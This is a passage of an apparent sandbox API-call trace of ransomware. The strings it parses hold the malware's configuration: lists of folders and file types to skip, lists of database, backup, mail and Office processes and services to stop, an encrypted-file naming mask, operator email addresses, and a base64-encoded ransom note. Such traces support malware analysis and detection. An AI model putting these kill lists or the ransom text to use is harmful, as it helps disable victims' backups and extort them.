\"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 16534 [0050.070] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25268, Size=0x10) returned 0xb25118 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28e70 [0050.070] strtol (in: _Str="10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x97fc58, _Radix=0 | out: _EndPtr=0x97fc58*=",\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 10 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25118, Size=0x14) returned 0xb28eb0 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28d90 [0050.071] strtol (in: _Str="6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x97fc58, _Radix=0 | out: _EndPtr=0x97fc58*=", \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 6 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28eb0, Size=0x18) returned 0xb28f90 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28fd0 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28740 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28eb0 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28640 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28df0 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28640, Size=0x8) returned 0xb28770 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb290f0 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28770, Size=0xc) returned 0xb25190 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28ff0 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25190, Size=0x10) returned 0xb251f0 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28ef0 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb251f0, Size=0x14) returned 0xb28e30 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29110 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28e30, Size=0x18) returned 0xb29010 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28d30 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb29010, Size=0x1c) returned 0xb1b000 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28d50 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b000, Size=0x20) returned 0xb1b028 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28f10 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b028, Size=0x24) returned 0xb27ae8 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29010 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27ae8, Size=0x28) returned 0xb27d28 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28d70 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27d28, Size=0x2c) returned 0xb2f5e0 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28db0 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f5e0, Size=0x30) returned 0xb2f6c0 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28e30 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f6c0, Size=0x34) returned 0xb2be20 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28e50 [0050.071] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2be20, Size=0x38) returned 0xb2bda0 [0050.071] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29230 [0050.072] 